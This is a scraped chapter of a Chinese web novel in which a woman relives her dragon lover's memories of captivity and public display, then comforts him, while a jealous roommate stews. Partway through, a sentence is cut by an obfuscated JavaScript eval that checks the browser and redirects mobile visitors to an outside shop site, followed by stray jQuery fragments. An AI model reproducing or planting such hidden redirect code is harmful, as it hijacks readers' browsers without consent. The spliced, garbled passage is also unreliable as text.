文趣网 > 其他小说 > 我的上司是条龙 > 42. 幻境
    “……3421170679……”

    一串数字突兀地出现在阿什菈脑子里,她无法回忆起自己是谁,现在在哪里,可那个声音不断重复着,强迫她背诵这个数字。

    阿什菈看见自己在不断地来回踱步,四周都是混凝土高墙,没有窗户,只有微弱的光从头顶照射下来。

    “……46095505……”

    那个声音还在背诵,它既熟悉又陌生,阿什菈却想不起来这是谁的声音。

    阿什菈低下头,看见她身下是爬行类的尖锐脚爪,上面还拴着夸张粗大的铁链,好像生怕她会逃跑一样。每走一步都不得不拖着这些沉重的铁链,发出叮叮当当的声响。铁链在脚踝上不断摩擦,黑色的鳞片已经磨得发白,还有一些脱落了,留下血淋淋的伤痕。她不断地在狭小的房间里按照既定路线踱步,从一头走到另一头,循环往复。

    阿什菈终于意识到,这里是埃米尔的记忆。

    “……89,89什么来着……”

    求你了,别背了。

    强烈的空虚和孤独席卷了阿什菈,像是有谁把她的内脏全部活生生地掏出来,只给她留下一副空壳,在这个地牢里不断踱步。

    在无边的孤寂中,眼前的景象逐渐扭曲,化为黑暗。

    当阿什菈的视野再次清晰起来的时候,她还在这个地牢,只不过这次的视线似乎高了很多,而地牢的混凝土墙壁上也多了许多触目惊心的爪痕。

    “……2190114849……”

    现在他背诵得流利多了,可他踱步的空间却更小了,铁链也勒得更紧了,原本的牢房现在只走几步就到头了。埃米尔在这里被关了多久,她不敢想象。

    “你看看它,被你养成什么样子了!都瘦得皮包骨了!这样不会有客人喜欢的。”

    争吵声从头顶传来,但埃米尔只顾着低头踱步,背诵那一串数字,他似乎身体抱恙,走得摇摇晃晃。不过现在他已经不会再感觉到空虚,也不会觉得孤独,取而代之的是彻底的麻木。

    “弄一头牛来!我们不差这点钱!没有牛就随便找点长肉的东西来,它不肯吃就直接把肉打碎了插胃管,明白了吗?”

    “……6445333908……”

    旁边的食槽里堆放着一些生肉,直到它们腐烂生蛆埃米尔也没有看它们一眼。阿什菈明白,这是他在绝食。

    伴随着虚弱与饥饿,眼前的景象再次模糊。

    第三次醒来时,阿什菈发现自己依然身处这处监牢,她感觉自己已经快崩溃了。这次埃米尔不再踱步,房间的尺寸已经容不得他再走来走去,他现在只能勉强转个身。栓在他腿上的铁链如今相比之下已经显得不那么粗了,甚至看起来有挣脱的希望,但显然他没有这么做。混凝土墙壁也已经看不出原来的模样,被深深浅浅的爪痕刨成了弧面。

    埃米尔没有再强迫自己背那些数字,他只是安静地趴在原地,两眼直勾勾地盯着地面,几秒钟后,他开始呕血。

    “是不是做得有点过火了?”依然是头顶传来声音。

    “来不及了,客人们已经到了。给它套上嘴笼,马上牵出去吧。”另一个声音响起,很熟悉,但是比上次苍老了许多。

    来了几个穿着工装的人,他们用吊机吊来了一只巨大的嘴笼,埃米尔配合地伸出脑袋,让他们给自己套上。又有人拽拽锁链,这锁链连接着他脖子上的一只项圈,他就顺从地跟着那人,走进了一只铁笼里。这笼子窄得要命,而且显然是故意设计得这么窄,仅能允许他一动不动地站着,既不能转身,也不能趴下,把他像一件艺术品一样固定在里面。他们把他连同笼子一起推进一个长廊,同各种古董,画作,雕塑摆在一起。

    有几个戴着手铐,蓬头垢面的人从他附近走过,那个苍老的声音又开始呵斥:“谁在管事!客人马上来了,怎么让肉走到前面来了!”

    埃米尔沉默地耷拉着脑袋,一动也不能动,他还想吐,但是嘴巴被捆着,那些已经涌到嗓子眼的东西只好再咽回去。

    没过多久,四周的嘈杂声安静了下来,不知道从哪里响起悠扬的小提琴声,些许谈话声从远处传来。

    “您的收藏品还真是丰富。”

    “哪里哪里,都是闲暇之余的爱好罢了。”

    “哇!妈妈!这里有一头龙!它是真的还是假的呀?”

    一个小女孩蹦蹦跳跳地跑到了他面前,紧随其后的还有她的父母,以及其他几个宾客,看样子他们都是云冠区的名流。

    那个令他作呕的苍老声音再次从背后响起:“没关系的,你可以摸一下,它已经被我们调教得很温顺了,不会攻击人的。”

    小女孩听到这话,立刻放心大胆地摸起来,像是见到了什么新奇的宠物。同行的宾客们也都好奇地凑上前,对着他戳戳碰碰,像是在赏玩一件玩物。

    “你的脸我记住了!”埃米尔的声音猛然传进阿什菈的脑海,这次对味儿了,听着和他现在的声音很贴近了。“你的!你的!还有你的!”

    他恶狠狠地盯着那个小女孩,而后者还在天真地抠他的鳞片。她的右手虎口上有一颗痣。

    “你们都得死!你们全部都得死!!!”

    ——

    阿什菈的意识猛然抽离,她感觉自己像是被吸进了抽水马桶一样天旋地转,记忆的洪流中满溢的负面情绪还未来得及消散,她止不住地颤抖,从座位上跌下去,双手撑地,开始反胃。

    一双有力的大手把她扶起来,拍着她的后背帮她顺气,又给她递来一杯水。阿什菈猛灌了一大口水,看到这双皮肤棕红的手,才慢慢意识过来,这是特克拉,而自己现在仍然身处地狱栖木酒吧。

    “没事吧阿什菈?你可差点吓死我了,你这一趟去了半个多小时,以前从来没有人晕这么久过。”她转过头,开始控诉埃米尔,“都怪你,你那什么狗屎回忆,有够离谱的。”

    半个小时吗,可对阿什菈来说,这些充满痛苦的回忆仿佛持续了整整一个世纪那么久。

    埃米尔一言不发,他坐在离阿什菈几个座位远的另一端,双手撑着下巴,眼神朝着阿什的方向却没有直视她,仿佛是在等待一场判决。

    刚刚的回忆还萦绕在阿什菈的心头,她不知道那些人是谁,这个监牢在哪,他们为什么要囚禁埃米尔,他又是怎么逃出来的。那个雨夜埃米尔向她袒露的并非自己全部的过去,至少贯穿他生命的绝大部分时光,是在那个阴暗狭窄的地牢里,而非旷野中阳光轻透的森林。理想是没有的,绝望和复仇才是他生命的真正底色。得知了这些碎片般的真相,自己是否还有勇气和他站在一起,阿什菈自己也没有答案。埃米尔的眼神中流露出惶恐,这是她从未见过的。她那该死的,无处安放的共情能力开始作祟,她开始将自己代入地牢中被锁链围困的幼龙,压倒性的孤独感催促着她立刻作出选择。

    阿什菈站起身,走到埃米尔身边。特克拉还在期待她会给这个害自己难过的罪魁祸首来一个大耳光,没想到她只是坐在他身边,然后沉默无言地抱住了他。

    连埃米尔自己也没有想到阿什菈会这样做。他不知道阿什菈看到了自己的哪一段记忆,但至少从结果来看,他又掌握了主动权。很快,他重新恢复了状态,轻抚她的后背。

    “抱歉,本来应该是我来安慰你的。”

    两人没再有过多的交流,埃米尔结了账,带着阿什菈离开了。特克拉看着他们离开的背影,靠在门外点了一支烟。这可不是她的本意,谁能想到她的分手特调居然把他俩的感情撮合得更好了。不过至少目前看来,最不能提起的记忆也并非对阿什菈不利,也许这家伙真的没有做过对不起阿什菈的事,只要阿什菈不会因此受伤害,那么她也就睁一只眼闭一只眼吧。

    想到这里,她缓缓吐出一口烟。

    ——

    阿什菈抱着双腿,蜷缩在埃米尔的沙发上,她还没有完全从刚刚记忆的余韵中缓过来,暗无天日的牢房还在一遍遍冲击着她的理智。她不敢过多询问,而埃米尔背对着她,正在厨房里给她煮热牛奶。

    “对不起。”她突然没来由地说起来。

    “你不必替任何人感到抱歉。”埃米尔答道,却依然背着身,“你不是他们。”

    “我是在替我自己道歉。”她说,“我不应该答应特克拉,强迫你跟我喝那杯酒。”

    阿什菈现在才后知后觉得意识到,窥探别人的记忆,就像强行剥掉别人的衣服看伤疤那样无理,而对于埃米尔,这杯酒一下子扯开的东西太多,连内脏都掉下来了。

    牛奶已经煮开了,埃米尔关掉炉子,把奶倒进马克杯里,然后端给阿什菈:“没有人能强迫我,我是自愿的。要加点糖吗?”

    看到阿什菈点了点头,他从厨房拿来一只糖罐,往里面加了一小勺白糖:“够吗?”

    阿什菈摇头,于是他又加了一勺,但阿什菈还是在摇头。

    埃米尔最后往里面添了一次糖:“可以了,再多就要得蛀牙了。”

    “你为什么要对我这么好?”

    “你不需要拿跟人类相处时的要求来评判我,人类做不到我全部都能做到。我不会因为担心你变得优秀就来诋毁你,也不会因为外部的压力就改变对你的态度,你不需要为我提供人脉资金或平台,也不需要为我生小孩,在你去世之前,我都会尽我所能提供给你任何你想要的东西,我也绝不会背叛你。”

    “那我去世以后呢?”

    “我会怀念你一阵子,可能几十年,可能几百年。然后我会去找新欢。但

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713561|206046||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我会永远记得你。”埃米尔如实回答。

    听到他这么说,阿什菈突然释然了:“听起来就和人类养猫的心态一样。”

    “那你会介意吗?”

    “完全不会。”阿什菈回答道,“我已经不敢奢求更好的了。”

    阿什菈喝了一口牛奶,果然甜到齁人,但是对她来说挺好的,她现在正需要给疲惫的大脑补充一点糖分。埃米尔坐在她身边,点燃了一支烟,香烟在黑暗中微微发光,鬼使神差下,阿什菈向他伸手要了一根。

    两团烟雾在公寓的天花板上盘桓着,她在不知不觉中正变得和埃米尔越来越像。

    “你不恨人类吗?”尼古丁让她的脑袋有点发晕。

    思索了片刻,埃米尔答道:“我爱你。”

    也许是觉得自己这句话太过直白,也许是感觉阿什菈还沉浸在刚刚的情绪中,他又补充了一句:“而且我接下来还要小心,不要爱上里昂。”

    “不许再提这个了!”阿什菈终于忍不住笑了起来,随手抄起一只靠枕朝他丢过去。

    终于,好说歹说下,埃米尔哄着她回卧室睡觉了。他躺在床上,用翼爪撑起被子的一角,示意她赶紧进来。

    “今晚……什么都不做了吗?”

    “好好睡觉吧。”

    “那明天呢?”

    “你想去哪里玩?”

    “我不知道。”阿什菈蜷缩在他怀里,感觉到十分温暖,“去哪里都好。”

    ——

    周天下午回到家里时,特蕾莎显然对她这两天的行踪很感兴趣,止不住地旁敲侧击。

    “哟,回来啦?两位身体都还吃得消吧?”

    阿什菈看了她一眼:“素的。”

    “哈?”特蕾莎拖着长音喊了半天,“你逗我呢,整整两天纯素的。闹别扭啦?”

    “没有啊,就和平常一样。”阿什菈说着,一边把手里大大小小的包装袋放在桌子上收拾,那些都是埃米尔买给她的礼物。

    “嚯……”特蕾莎看着这些东西,眼都直了,“那你俩都干啥了?”

    “还能干啥?到处逛逛,吃吃甜点,然后去超市买东西,晚上回家一起做饭,吃饱了就躺在沙发上选个电影看。”

    特蕾莎直咂嘴:“你们这也太普通情侣了吧……”

    “我们难道不是?”阿什菈歪头问道。

    “可是你想啊,毕竟他是那什么……你俩是那种……怎么想都……”特蕾莎做着夸张的手势,却一时表达不出自己的观点,“唉算了,说不清楚!”

    特蕾莎眼看着她从包装袋里拆出一只新包,两眼直冒绿光:“那啥,阿什菈,你都有一个差不多的同款了,正好我现在上班还缺个能撑门面的包,这个就给我了呗?”

    阿什菈正专心地用剪刀剪掉标签,头也不抬:“为什么?”

    “这不是……”特蕾莎支支吾吾,想给自己找个借口,“嗨,这不是我上次帮你们做的采访报道嘛!那个新闻你看了吗,反响还挺好的。还有好多你俩的镜头,你看了没啊,我让马克把你拍的可好看了。”

    阿什菈沉默了一阵子,她看着特蕾莎,这可把她看毛了:“再说了,你那位也不缺钱,你就说之前那个被你弄丢了,让他再买一个就是了!”

    阿什菈笑了,笑容中满是无奈:“你说得也对,拿去吧。”她把包推到特蕾莎手里,“但是我不喜欢那样的报道,显得我像个陪衬,下次要么只拍他要么只拍我。”

    “你这是什么话嘛,你看他这么宠你,你将来早晚有一天要嫁到云冠区去的嘛,现在先让媒体给公众打点预防针也没什么不好……”

    “我不会嫁到云冠区去的。”阿什菈打断了她,心里想的却是,以埃米尔的性格,就算真的有一天做了这种决定,也绝不会选择用一个假身份和她结合。

    “好好好,随你好吧。”特蕾莎拿着新包,悻悻地回到了阁楼,嘴里却还用阿什菈听不见的声音小声嘟哝着,“装什么,不就是傍上了个富二代,装什么清高,还对我指手画脚……”

    她一转头,看到自己的废物男友正弓着背伸着头,像只虾一样缩在电脑前打游戏,还拿她的工资充点卡,就气不打一处来,狠狠踢了一脚他的屁股。

    “诶,打副本呢!”

    “打你妈!”

    她现在除了自己的工作,已经没有一样面对阿什菈时拿得出手的东西了……哦对了,就连她这份工作,都是别人男朋友可怜她,施舍给她的。

    她手里紧紧地攥着这只新包,明明刚才还很心动,可现在又不想再看它一眼了,她想把它撕烂,但是又舍不得,这包确实挺贵的。一些阴暗的情绪如同霉菌般,开始在她的心中的背阴处滋生。

    “他们不配……”一个声音低声道。